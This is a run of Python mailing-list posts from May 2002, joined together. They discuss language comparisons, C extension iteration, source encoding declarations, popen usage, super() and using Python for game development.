Shouldn't > the secuity concerns be left to the programmers? After all Python > already has exec*. Is there something I am missing? > > I am asking this mainly from curiosity, I am in no need of such a > feature. And then again, If I had the time and the knowedge + skill to > come up with a patch... > One issue which nobody yet seems to have addressed is that code objects change from version to version. So even if you could work out where the dependency chain ended, the data (pickled code) would be useless in the next major version. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From robin at jessikat.fsnet.co.uk Mon May 20 15:42:53 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Mon, 20 May 2002 20:42:53 +0100 Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: <597ee21d.0205190526.4feffd31@posting.google.com> Message-ID: In article , Andrew MacIntyre writes >On 19 May 2002, David Aldridge wrote: > >> After more investigation, turns out init_sre() was NOT >> __declspec(dllexport)! > >I had been under the impression that sre was intended to always be built >into the Python core (ie not as a loadable extension module), which might >explain some of what you found. > well with Python 2.2.1 and win32 I certainly see _sre.pyd in the DLLs directory. -- Robin Becker From duncan at NOSPAMrcp.co.uk Thu May 30 04:19:22 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Thu, 30 May 2002 08:19:22 +0000 (UTC) Subject: New (?) suggestion re: 'while x = f(): ...' References: Message-ID: Jeff Epler wrote in news:mailman.1022680666.24622.python-list at python.org: >> 'H' is spelled 'iter' and already exists. > > Not quite -- H will stop on "any false value", while iter(f, "") will > stop on a single value. I think this is similar to the difference between except with a specific exception, and except to catch any exception. The normal case should be to know what the termination condition is. (Explicit is better than implicit.) -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From rdsteph at earthlink.net Sun May 19 08:01:38 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Sun, 19 May 2002 12:01:38 GMT Subject: Ruby for Newbie?! References: Message-ID: <3CE75BD7.7080103@earthlink.net> Well, I also was seduced by Ruby. It is an attractive language. But I came back to Python. I do not think Ruby equivalents to all of the tools you list exist yet. Ruby is newer, less well established, and with a smaller user base than Python. While I would never say anything bad about Ruby, here are some reasons why I came running back to Python. 1. More and better tools. For instance, I don't beleive there are any Ruby equivalents for the many Pythonic gui-painters (Boa, Pythware, Black Adder etc) I chose Black Adder, but Boa is nice and free.. 2. More mature library set for Python 3. While Ruby's object orieinted make up is very attractive in its consistency and polish, upon closer contemplation, Python's structurer seems to me to be more practical, elegant, and efficient. Your mileage may vary... 4. Ruby is extremely immature on Windows. This is the closest I will come to a negative statement. Investigate for yourself, but there may be dragons hiding herein. 5. Python is generally more widely ported. In my case, really good ports of Python to PDA's such as the new Sharp Zaurus are of great interest. 6. Active Python communities exist for many of the ports, including the newer ones. 7. The Python community is incomaparable. Hey, I like the Ruby community and have coresponded with some of them and occasianally get involved in thrreads on comp.lang.ruby...but the Python communnity is incomparable. 8. Python is better documented, although Ruby is improving in this area, but the 25+ excellent Pythonic online tutorials alone constitute a priceless resource. 9. On balance, Python is more fun, more effective, and my choice. 10. Have fun no mattter your choice! ;-)))) Ron Stephens Python City http://www.awaretek.com From wilk at flibuste.net Fri May 10 15:31:10 2002 From: wilk at flibuste.net (William Dode) Date: Fri, 10 May 2002 21:31:10 +0200 Subject: get/set References: Message-ID: <20020510213110.058e0cbe.wilk@flibuste.net> Le Fri, 10 May 2002 12:34:47 -0500 "Mark McEahern" ?crivait: > [William Dode] > > it means that if i want to keep working with python 2.1 i need to use > > my own get/set method ? > > As Gerhard pointed out, pre-2.2 you had to resort to __getattr__ and > __setattr__ for this kind of bondage. Thanks all for your advices. I think i don't need so much get method, and i will use __setattr__ when i really need it... bye > > Cheers, > > // mark > > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From pyth at devel.trillke.net Sat May 11 12:11:39 2002 From: pyth at devel.trillke.net (holger krekel) Date: Sat, 11 May 2002 18:11:39 +0200 Subject: path.startswith(dir)? In-Reply-To: ; from mlh@vier.idi.ntnu.no on Sat, May 11, 2002 at 03:04:14PM +0000 References: Message-ID: <20020511181139.L25906@prim.han.de> Magnus Lie Hetland wrote: > >> I've got some code which tests for > >> > >> commonprefix([dir, filename]) == dir > >> > >> Assuming that dir ends with a separator (e.g. '/'), it ought to be > >> just as safe (and more concise) to use > >> > >> filename.startswith(dir) > >> > >> no? > >> > >> And -- ensuring that dir ends with a separator can be done with > >> > >> dir = join(dir, '') > >> > >> This ought to be a safe/platform independent way of doing it, right? there is one possible problem if you don't 'normpath' filenames. at least on posix '/hello/world/huh'.startswith('/hello//world/') obviously yields false although normalizing both names before works as expected. It depends, of course, on the guarantees you have about the filenames beeing compared. If you know for sure that all your filenames are 'normpath'ed then you don't need to worry. But as normpath does *not* interact with your filesystem it is a relatively cheap function to call. And it makes your code more robust and hopefully prevents surprises. Additionally i guess that you are not dealing in any way with relative filenames in this context, right? regards, holger From kragen at pobox.com Wed May 22 03:02:55 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 22 May 2002 03:02:55 -0400 Subject: Is python really slow? References: Message-ID: <83adqsis0w.fsf@panacea.canonical.org> Chris writes: > I spend a fair amount of time on perl newsgroups, having the need to use > perl for various parts of my job. I am now learning Python. I am a bit > disheartened at how common it seems to code only some of a program in > Python and use C for other parts, and how much discussion here involves > using C for X and Y. I don't have time to learn another language. I don't > see nearly as much discussion about doing this in the Perl newgroups. I've spent a fair amount of time on Perl newsgroups, too, and writing stuff in Perl. Here are my hypotheses on the causes of this difference: 1. Python is really slow, because it's highly dynamic and because it's interpreted. This is true of Perl, too. Primitive operations in both languages are roughly 100 to 1000 times slower than in languages compiled to machine code. Perl is usually marginally faster than Python, although there are some cases I've seen where it's drastically faster. Both languages also use bucketloads of memory. 2. Perl programmers have a lot of basic problems with things like failing to open files, leaving variables uninitialized, and accidentally clobbering global variables that are inadvertently shared between different parts of a program. Python catches these errors and tells you about them, so you don't need to post to a newsgroup to find out what went wrong. Fewer basic questions means the advanced questions constitute a greater portion of the traffic. 3. Perl is extremely popular among novice programmers and nonprogrammers (compared, anyway, to other programming languages.) These people do not typically try to extend Perl (or Python) with C, because it's a lot harder than writing stuff in Perl (or Python). 4. Perl is a pain in the butt to extend in C. Python is easy to extend in C. So more people extend Python in C, but that still requires writing C, which is comparatively more difficult than Python to debug. People usually write C extensions to either Python or Perl for one of three reasons: - their Perl or Python code is too slow or too space-inefficient - they have other code (written in some other language) that they want to incorporate into their program, so they have to write some C glue to make it all work - they have to do something that can only be done in a low-level language, such as access to some system call; in a sense, this is the same as the previous point One project I'm working on at the moment has about 3000 lines of Python and about 400 lines of C. The 400 lines of C allowed us to cut our memory footprint by a factor of five. From usenet at thinkspot.net Fri May 24 02:03:33 2002 From: usenet at thinkspot.net (Sheila King) Date: Thu, 23 May 2002 23:03:33 -0700 Subject: python-friendly web hosts: buyer beware References: Message-ID: On Thu, 23 May 2002 14:36:46 GMT, Rob Andrews wrote in comp.lang.python in article : > Moral of the story: Python is apparently becoming popular enough for some > companies to consider using "Python" as a marketing buzz-word without > putting any real resources behind it. Hi Rob, Although I realize the moral of your story, isn't to seek out good hosts who offer Python, just thought I would mention http://www.FutureQuest.net Currently offering Python 1.5.2 and 2.2 and will soon be installing Python 2.2.1. They really DO offer Python and make sure it is installed properly, etc... Disclaimer: I recently became an employee of FutureQuest. However, I've been hosting with them since 1999 and the support has always been excellent and now I can back that statement up. -- Sheila King http://www.thinkspot.net/sheila/ http://www.k12groups.org/ From stephen at xemacs.org Mon May 13 14:22:31 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 14 May 2002 03:22:31 +0900 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <873cwyg7dj.fsf@tleepslib.sk.tsukuba.ac.jp> <878z6obodl.fsf@tleepslib.sk.tsukuba.ac.jp> <87k7q8l6xt.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <87wuu7hpqw.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v L?wis writes: Martin> "Stephen J. Turnbull" writes: >> What's wrong with `f.write("codecs.BOM")'? Martin> That works for writing it. How do you write an application Martin> that reads data in differing endiannesses? With the existing UTF-16 codec reader, of course. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN From Chris.Barker at noaa.gov Fri May 31 13:06:00 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Fri, 31 May 2002 10:06:00 -0700 Subject: wxPython, py2exe References: <3CF7819F.5AF9E42D@ipm.fhg.de> Message-ID: <3CF7AD56.6ACB2F69@noaa.gov> Markus von Ehr wrote: > Does the py2exe tool work fine > with wxPython? It's worked fine for us. You do get a couple of pretty large DLLs, however. > I need graphical support (viewing images, drawing, openGL, etc.), > does it work well with wxPython? Havn't used openGL, but otherwisw, yes. -good luck, -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From usenet at horvath.com Sat May 11 02:14:07 2002 From: usenet at horvath.com (Bob Horvath) Date: Sat, 11 May 2002 01:14:07 -0500 Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> Message-ID: <3CDCB6AF.8030903@horvath.com> David Eppstein wrote: > In article <3CDCAEDC.2030103 at horvath.com>, > Bob Horvath wrote: > > >>I don't think it matters what the format is. It is a repeating pattern >>of 5 lines. >> >>How would you suggest writing a generator that spits out 5 line chunks >>of a file at a time? > > > def fiveatatime(L): > L = iter(L) > while 1: > yield (L.next(),L.next(),L.next(),L.next(),L.next()) > > then call fiveatatime(file) > > This will group each five line chunk into a tuple of five strings. > It will throw away lines at the end that are not a multiple of five -- > you need to specify more carefully what to do if that is a problem. > That will indeed work, I think, but I am not sure I understand the end condition. What happens when you "next()" off of the end? I was expectin an exception, but it seems to get swallowed. From aleax at aleax.it Sat May 11 05:52:45 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 09:52:45 GMT Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: Steve Horne wrote: ... > example, I'd quite like to write... > > if 0 <= x < 10 : > print "x is in range" > > There is a big problem with this, of course - this is already legal > Python, but the semantics aren't what I intend. As many have pointed out, this is probably not true. > I haven't thought through my choice of symbols, but imagine a notation > such as the following was created... > > [* indentifier RULE *] One stray thought I had at IPC10 after listening to some of Tim Berners-Lee's wildest syntax suggestion was to allow some "compile time function call" notation such as...: identifier(:whatever:) This would basically be the same as: identifier('''whatever''') except that the compiler would notice the (: ... :) form and perform the call *during compilation* -- the function would probably have to be defined with a similar "compile-time function definition": def identifier(:formalarg:): ... notation, and would return any object suitable as first argument to builtin function 'compile' (codeobject, string) so code generation could proceed. Guido started quizzing me when I mentioned it and it rapidly emerged that I hadn't thought it through -- as indeed I hadn't, it WAS just a stray thought. He even mentioned that this could be seen as a 'macro', thereby causing me to recoil in horror (I've seen what macros do to languages and don't like it one bit:-). > - Noticably wordier than necessary, as each new grammar rule has > three 'redundant' tokens. Nah...: loop_with(: 1 <= x <= 10 :) : print x has fewer tokens than today's "for x in range(1, 11):" equivalent. That's definitely not the problem. > - Could make it too convenient to add obscure special-purpose > features, leading to unnecessary bloat. Ay, there's the rub. Multiple mutually incompatible bloatings as each group of clever people rushes off to invent their own clever sets of macros ( ). Alex From eric.brunel at pragmadev.com Tue May 21 06:28:32 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Tue, 21 May 2002 10:28:32 +0000 Subject: How to know if a popen*() was successful? References: Message-ID: Fernando Perez wrote: > I'm failing at detecting whether a process has indeed been opened by a > popen4 call. Consider the following code: > > pager_cmd = 'less' > pager,shell_out = os.popen4(pager_cmd,'w') > > How can I tell if less was indeed opened? [snip] On Unix, there's a simple way: use the Popen classes instead of the popen functions and use the "poll" method: import popen2 pager_cmd = 'less' p = popen2.Popen4(pager_cmd) if p.poll() != -1: print "%s doesn't exist" % pager_cmd else: pager, shell_out = p.tochild, p.fromchild > ps. I'm testing on linux, but this code needs to be multiplatform, hence > my need to check ok. If less isn't present, I default to a python-written > dumb pager for platforms like windows. Don't know how to do it on Windoze... [BTW, the Popen classes would be very helpful on Windows too: they offer many things that you just can't do if you use the popen functions. Any plans to port the classes on Windows?] HTH anyway... -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From Gabe.Newcomb at noetix.com Wed May 22 15:52:32 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Wed, 22 May 2002 12:52:32 -0700 Subject: needed Python code Message-ID: <0C7CA8D8DF75494EB09AB6016990107F016F5CE3@NOXMAIL.noetixad.com> I should probably make a PEP for this one: for line in python_mail_contents: if line.find('-ly yours'): stuff_mail_in_garbage(python_mail) ... Gabe Newcomb Software Test Automation Engineer 425.372.2732 Noetix Corporation www.noetix.com From phlip_cpp at my-deja.com Mon May 20 14:43:54 2002 From: phlip_cpp at my-deja.com (Phlip) Date: Mon, 20 May 2002 18:43:54 GMT Subject: ScrolledText (over Tkinter.Text) validation References: <63604d2.0205200938.311b0a29@posting.google.com> Message-ID: "Jeff Epler" wrote: > By returning the string "break" from a binding, you can stop further Thank you thank you. > processing of events, as described in the Tk "bind" manpage. OOooh!!, an RTFM before the first period! I gotta lay off that crack pipe, huh? > If you use an Entry instead of a Text, you can use textvariable= to link Thanks, but the multi-line requirement takes precedence. Only-in-it-for-the-laudered-cash'ly y'rs -- Phlip From mwh at python.net Mon May 20 11:53:26 2002 From: mwh at python.net (Michael Hudson) Date: Mon, 20 May 2002 15:53:26 GMT Subject: ANSI colored output: How to determine how python was called? References: Message-ID: Pearu Peterson writes: > Hi, > > In my python program I want to output ANSI colored text only if the > terminal where the program was executed can support ANSI colored text. In > all other cases the program should output ordinary text. > > My initial approach was to check the TERM environment variable, for > example, > > if os.environ.get('TERM',None) in ['rxvt','xterm']: > print '\x1b[31mHello!\x1b[0m' # red Hello! > else: > print 'Hello!' > > But then I found that when this program is called through > > commands.getstatusoutput(..) > > and its friends, then the above test fails in the sense that red `Hello!' > is printed but I would like to have here an ordinary `Hello!'. > > So, my question is: > > Are there alternative (hopefully better) ways to decide whether the > output "device" of python stdout supports ANSI colored text or not? Chuck an os.isatty(0) in there? Cheers, M. -- Q: Isn't it okay to just read Slashdot for the links? A: No. Reading Slashdot for the links is like having "just one hit" off the crack pipe. -- http://www.cs.washington.edu/homes/klee/misc/slashdot.html#faq From donn at u.washington.edu Mon May 13 12:31:07 2002 From: donn at u.washington.edu (Donn Cave) Date: 13 May 2002 16:31:07 GMT Subject: python, a scripting language? References: Message-ID: Quoth "Erlend J. Leiknes" : | A friend of mine which is a java programmer insists on that python is | scripting language... | | I belive the term "script" is outdated because of "precompilation". | The term for a script-language is that you write and run your program as | text? | | Anyway... I would be happy to hear some reasons why python is not a | scripting language... It can be a scripting language, but it's relatively awkward in that role. The best scripting languages are either purpose-built, like the Bourne shell for UNIX command scripting or Applescript for MacOS application scripting, or highly adaptable syntactically, like Lisp, Tcl, REXX. Python programs tend to be more involved in computation. "Script" refers to the automation of a procedure. There is some computation, but in support of the automation. Function completion status, some analysis of outputs, option processing, iteration over parameters. It's not universally understood that way, though, and in these days the term "scripting language" isn't generally known to have any rigorous meaning at all. The only thing less meaningful is "systems language", and put together to make a taxonomy of programming languages as Osterhout did some time back, the result is useless in the extreme. Donn Cave, donn at u.washington.edu From ritchie at fnal.gov Fri May 10 15:02:04 2002 From: ritchie at fnal.gov (David J. Ritchie) Date: Fri, 10 May 2002 14:02:04 -0500 Subject: Python vs. Perl, which is better to learn? References: <3CDAF2A7.2DADEB14@fnal.gov> Message-ID: <3CDC192C.94D733A2@fnal.gov> Aahz wrote: > In article <3CDAF2A7.2DADEB14 at fnal.gov>,.... > > I guess I was carping at your point because I see it as an issue in most > programming languages (I'm tempted to say "all", but I know better than > to make foolish overgeneralizations ;-): how does one suitably indicate > blocks of code for editing? Yes, I tend to agree with you--I was probably stretching things to find a Python example of context sensitivity...however you slice it, you will probably have block delimiters. In Perl's case, they are { and } while in Python they are and . So, what's the diff..., it's only an artifact of our having editors that treat a window of characters as made up of lines that there is any difference. If our editors from the beginning had let us identify an irregularly shaped "patch" of text in the lower right quadrant and cut and paste that much like a drawing program, I would be thinking about this much differently. Then, we'd have the problem of how to designate what meant sequential execution from one 'patch' of code to another. --D. From duncan at NOSPAMrcp.co.uk Fri May 31 09:42:12 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Fri, 31 May 2002 13:42:12 +0000 (UTC) Subject: Where can I find .join() in the docs References: Message-ID: "Russell Blau" wrote in news:ad7sjs$v94d3$1 at ID- 76829.news.dfncis.de: >> type: float, unicode, open, super, long, complex, dict, type, tuple, > list, >> str, property, int, file, object, classmethod, staticmethod >> > > OK, this intrigues me. What are and ?? > I've never seen any reference to either of these before. open is an alias for the file type. You can construct a file object by: file(name[, mode[, buffering]]) -> file object is the same as: open(name[, mode[, buffering]]) -> file object >>> print open is file 1 super is used in new style classes to call methods higher in the inheritance search order (even if they aren't directly in base classes): Try this example: class A(object): def save(self): print "Save state of A" class B(A): def save(self): print "Save state of B" super(B, self).save() class C(A): def save(self): print "Save state of C" super(C, self).save() class D(B, C): def save(self): print "Save state of D" super(D, self).save() b1 = B() print "b1.save()" b1.save() d1 = D() print "d1.save()" d1.save() The output of running this is: b1.save() Save state of B Save state of A d1.save() Save state of D Save state of B Save state of C Save state of A Notice that calling the save method on a B object calls the save method in its base A object, but calling the B save method when the object is really a D the call is instead directed across to the C class. super is quite clever really. At first sight you might think that super(B,d1) would simply return C, but it actually returns a super object that delays the base class search until you try to call a method on it. This means that if C didn't have a save method the C class could be bypassed and super(B,d1).save() would call A.save() instead. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From mwh at python.net Fri May 3 07:14:24 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 3 May 2002 11:14:24 GMT Subject: Unpacking a python list in C? References: Message-ID: Ken Seehof writes: > Here's some real code that's pretty close to what you want. You can > use PyList_* instead of PySequence_* if speed is more important than > flexibility (PySequence works with any sequence object). > This example is a little different than what you requested (it's a > working python extension function). But it does show how to iterate > a python list. > > ///////////////////////// > // syntax: obj = manifold([seq]) > // returns: new manifold object > // > // Creates a manifold object, and initializes with sequence Are you not doing any error checking for clarity? > static PyObject *module_manifold(PyObject *self, PyObject *args) > { > PyObject *seq = NULL; > if (!PyArg_ParseTuple(args, "|O", &seq)) return NULL; It would be wise to check that "seq" is indeed a sequence at some point... Also, if you call this function with no argument it will return NULL but with no exception set... don't do that. > manifold__object *k = manifold__new(); > > if (seq) > { > for (int i=0; i { > PyObject *obj = PySequence_GetItem(seq, i); > manifold__insert_obj(k, k->root, obj); ... so obj could be NULL here; manifold__insert_obj will likely try to INCREF it... boom! > } > } > > return (PyObject *)k; > } The best way to nullify the threat of such devious code is to use the "PySequence_Fast" API, like so: static PyObject *module_manifold(PyObject *self, PyObject *args) { PyObject *seq; int len; if (!PyArg_ParseTuple(args, "O", &seq)) return NULL; manifold__object *k = manifold__new(); seq = PySequence_Fast(seq, "manifold: sole argument must be sequence"); if (!seq) return NULL; len = PySequence_Fast_GET_SIZE(seq); for (int i=0; i < len; i++) { PyObject *obj = PySequence_Fast_GET_ITEM(seq, i); manifold__insert_obj(k, k->root, obj); } return (PyObject *)k; } as PySequence_Fast knows how to cope with the most devious of user classes. I'm not sure when it appeared (I don't *think* it's in 1.5.2, unfortunately, though there's always the option of wholesale lifting of code from Python's codebase to your own). Docs here: http://www.python.org/dev/doc/devel/api/sequence.html Mild apologies for picking on Ken's code like this; more people should know about this API, though. Cheers, M. -- The Programmer's Quick Guide To Python (Time Machine version): You try to shoot yourself in the foot, only to realize that there's no need, since Guido thoughtfully shot you in the foot years ago. -- Nick Mathewson, comp.lang.python From blokeatiidotnet Thu May 23 04:16:33 2002 From: blokeatiidotnet (Rob Hall) Date: Thu, 23 May 2002 16:16:33 +0800 Subject: jython - animation problem Message-ID: <3ceca491$0$1529@echo-01.iinet.net.au> Hi all. Using Jython, I want to animate a rectangle moving across the screen, but am having trouble defining my old and new rectangle. Here's what I have: from java import applet, awt ...some code here class MapArea(awt.Canvas): def __init__(self, controller): ... more code here def paint(self, g): oldRect = awt.Rectangle newRect = awt.Rectangle ....stuff to get the dimensions and coordinates oldRect.x = oldX oldRect.y = oldY oldRect.width = width oldRect.height = height (51) newRect.x = curX newRect.y = curY newRect.width = width newRect.height = height clip = newRect.union(oldRect) g.clipRect(clip.x, clip.y, clip.width, clip.height) g.clearRect(oldX, oldY, clearWidth, clearHeight) g.fillRect(curX, curY, width, height ) The trouble is, when I run it I get the following error at line 51: AttributeError: set instance variable as static: public int java.awt.Rectangle.x What am I doing wrong? Rob From donn at drizzle.com Mon May 6 00:10:17 2002 From: donn at drizzle.com (Donn Cave) Date: Mon, 06 May 2002 04:10:17 -0000 Subject: Stackless goes Limbo References: <3CC6D07E.409@tismer.com> <3CCF1CD6.BF418F27@cascade-sys.com> Message-ID: <1020658215.288916@yasure> Quoth Christian Tismer : | What was the topic of this thread, by the way? :-) While we're off the topic, it occurs to me you might enjoy this if you haven't seen it - a Haskell variant called O'Haskell, with an interesting "reactive object" concurrency model. http://www.cs.chalmers.se/~nordland/ohaskell/ Apparently just a research project at this point, though I guess that might to some extent be said of any member of the Haskell family. Donn Cave, donn at drizzle.com From whisper at oz.net Sat May 11 05:39:02 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 02:39:02 -0700 Subject: Comment on PEP 263 - Defining Python Source Code Encodings In-Reply-To: Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Martin v. Lowis > Sent: Saturday, May 11, 2002 1:20 > To: David LeBlanc > Cc: Python-List at Python. Org; mal at lemburg.com > Subject: Re: Comment on PEP 263 - Defining Python Source Code Encodings > > > "David LeBlanc" writes: > > > Firstly it's NOT "invalid xml". It IS a well formed xml tag! > > It is well-formed, but it is invalid - check the XML spec. It violates > at least one validity constraint, namely that the root element must be > declared. XML is used far more often in "well formed" contexts than in "valid" contexts. This is hair splitting. > > Secondly, what existing editorS recognize this -*- syntax? (let > me guess: > > emacs). > > Right. Also, IDLE supports it with a patch. vim supports it in the form > > fileencoding= > > which is also supported by the regular expression. Let's see, you're saying here that only emacs supports it trivially: idle needs a patch and vim uses an alternate syntax (which, below, you say is broken), which isn't clearly mentioned in the PEP I believe? > > Can you cite a better reason for using this syntax then that it's > > used by a particular platform-centric editor? > > Why do I need to? Why is that reason not good enough? Notice that > Emacs runs on many platforms. Yes emacs runs on many platforms. On most of them, poorly and with a reduced feature set (this is certainly true of my several experiments with using emacs and xemacs on Windows). I've met more people using notepad then emacs on Windows, and virtually no programmers uses notepad for development. I am willing to believe that more people use idle then notepad on Windows though. > > I get the impression that you chose this syntax out of convenience > > for the editor you use more then for any generally useful reason. > > If there are other editors that support different means of declaring > the source encoding, we should certainly investigate supporting > them. In fact the current regexp was defined in response to someone > observing that vim also has such a feature (even though it won't work > properly in current vim releases). Vim, like emacs, has a spotty track record wrt to features and stability on Windows. I used vim for about 5 years on both NT and Windows 2000 until my frustrations exceded it's utility to me. Like emacs, Vim works best on Unix-family OS's. > Also, the PEP accommodates notepad.exe, by recognizing UTF-8 > signatures. > > > It might come as a surprise to you, but based on OS installations > > around the world, more people program Python on Windows then all the > > others combined and i'm willing to bet that most of them don't use > > emacs or xemacs or a derivative thereof! > > No, but I'm sure that many of them will use notepad or IDLE to edit > Python source code; both are supported by this PEP. I'm also sure that > Pythonwin will implement this PEP sooner or later; if Windows users > stick to using UTF-8 signatures, nearly every editor on Windows will > properly detect the source encoding. Having an XML-like syntax does > not help at all here. I would guess more people use idle then notepad and, especially if they're professional developers, use neither. I don't think that the editor people use is the point here though. While I can't name any specific tools that use xml embedded in comments right this minute, I have seen such tools and have not seen tools that use -*- (you yourself cite only one). Can you honestly say that this syntax offers a more flexible base for possible future "smart comments"? Actually, for something as important as encoding, I think using "smart comments" for a feature that is known to the compiler is a mistake and "pragma encoding='encoding_name'" makes far more sense, but I doubt that would fly. I can live with "smart comments", but I think the syntax you've chosen is kludgy and limiting. > Regards, > Martin Dave LeBlanc Seattle, WA USA From skunix at hotmail.com Thu May 16 14:59:26 2002 From: skunix at hotmail.com (SK) Date: 16 May 2002 11:59:26 -0700 Subject: Passing Python COM Objects Message-ID: Is it possible to pass Python COM Object as argument to a C++ COM Server interface ? If so, Could you please provide some pointers on the same? Thanks. From Katharina.Pergens at dlr.de Wed May 15 09:28:05 2002 From: Katharina.Pergens at dlr.de (Katharina.Pergens at dlr.de) Date: Wed, 15 May 2002 15:28:05 +0200 Subject: Merging contents of two files Message-ID: <3CE26265.54F83CAB@dlr.de> An HTML attachment was scrubbed... URL: From steve at lurking.demon.co.uk Tue May 28 13:02:36 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Tue, 28 May 2002 18:02:36 +0100 Subject: Thought on PEP 204 and 276 References: Message-ID: On Tue, 28 May 2002 16:00:12 +0200, holger krekel wrote: >I realize that mapping types and sequence types are quite different >despite appearances. It may not be a good idea to blur the lines >between these two too much. OK. >It's hardly ever >the case that you don't (want to) know whether some object is a mapping >or a sequence type. That wasn't the worry so much as knowledge re-use (knowing how to handle one implying knowing how to handle the other). It's not a big issue, though. Thanks for the explanation. -- Steve Horne steve at lurking.demon.co.uk From shalehperry at attbi.com Sat May 11 10:42:50 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 11 May 2002 07:42:50 -0700 (PDT) Subject: unknown locale de_DE@euro In-Reply-To: Message-ID: On 11-May-2002 Martin v. L?wis wrote: > "vincent wehren" writes: > >> The locale de_DE at euro (which I uses ISO-8859-15 as encoding), as used by >> e.g. SuSe 8.0 Linux,is not (yet) regognized by the locale module of >> Python2.2. A ValueError is raised when calling the module's >> "getdefaultlocale()" method. How can one go about handling this? Should one >> add it to the encoding aliases in locale.py? Any suggestions? > > I recommend to either ignore or fix locale.getdefaultlocale; as is, it > is utterly broken. > > Why do you need it? If you want to obtain the locale's charset, use > locale.nl_langinfo(locale.CODESET) (after performing setlocale). > Because many non US linux dists are now shipping with their default lang set to foo_FOO at euro. Which means python dies when someone uses it without first changing their locale. From fredrik at pythonware.com Thu May 16 11:15:57 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 16 May 2002 15:15:57 GMT Subject: Tkinter Configuration References: Message-ID: "Bohr, Mike" wrot: > yes, I mean the libtcl.so and libtk.so... > but they doesen't exist on my system. Where can I download it? this is explained in the Python README file, of course, which points you directly to Tcl/Tk download sites, and also to the Tkinter Resource page: http://www.python.org/topics/tkinter/ which contains more information on building and config- uring Tkinter. From romuald.texier at nospamelikya.com Mon May 13 06:36:53 2002 From: romuald.texier at nospamelikya.com (Romuald Texier) Date: Mon, 13 May 2002 12:36:53 +0200 Subject: import of PHP serialized data Message-ID: Hello, has anybody already written some python module to read (and maybe write) PHP serialized data? This already exists in Perl, but I'm using python. I know it would be better to use a language independant serialization format, but I can not for the moment. Thank you, -- Romuald Texier http://www.elikya.com From tdelaney at avaya.com Wed May 29 19:05:24 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 30 May 2002 09:05:24 +1000 Subject: What does Python offer? Message-ID: > From: Solosnake > > > > Why would it be useful to a games programmer? > > > > Obviously. Blade of Darkness uses it ... > > Hmmm. Answering a 'why' question' with 'Obviously' isn't very > useful or > informative. Oops - my apologies. I read that as "Would it be useful ..." ... which seemed kinda strange to me, hence the "obviously" reply. Mind playing silly buggers ... > I was really enquiring about how python might differ from > other langauges, > and how this might be pertinant to games programming. e.g. I > believe it is > an interpreted langugae, as opposed to compiled? So AI code written in > Python could be modified by end users? This cannot be done Yes indeed - in fact, this is very easy. > I do not wish to invest any time in learning python if it is > of no special > use, and everything I could do could be done with C++ anyway. 1. Learning enough Python for even fairly complex tasks takes about a week. 2. Learning Python + Python wrappers to gaming libraries (e.g. PyGame -> SDL, PyOpenGL -> OpenGL) is almost certainly going to be faster than learning the C++ API for just the libraries. > How does/can > Python be integrated with other languages e.g. C++? I've read this : > http://www.python.org/cgi-bin/faqw.py?req=show&file=faq05.007.htp > but its scant knowledge to start with. As I said, you need to read up about extending and embedding Python. In particular, look at Boost (also look at SWIG, but for C++ Boost is almost certainly what you want). > > http://www.python.org/doc/Newbies.html > I've looked at these, but they are mostly 'Hello World' for > python newbies. Well, you *are* a Python newbie aren't you? > > http://www.python.org/doc/current/tut/tut.html > Again, a tutorial on the language, as opposed to details about the > language's features. The second URL I game is to all the Python docs - including the language ref. However, as with any language, until you have a basic understanding of the language (both syntax and semantics) the lang ref isn't going to be much good for you. > > http://www.pygame.org/ > > http://pyopengl.sourceforge.net/ > > I don't want to write my games in python, unless it runs faster then > C/C++/assembly? :) It may or it may not. Python allows you to concentrate on the algorithms involved, rather than the nitty-gritty. These are thin wrappers to optimised libraries written in lower-level languages. Any time spent inside these libraries is working at the same speed as if you accessed the libraries via a C++ API. Was the performance of Blade of Severance sufficient for you? As I understand it, it used these exact same techniques - game logic written in Python, accessing graphics routines (and probably other bits too) written in another language. Python is almost unique in its ability to easily be extended using other languages (esp. C/C++) and to be embedded in programs written in other languages. If you don't write in Python, it's no skin off our 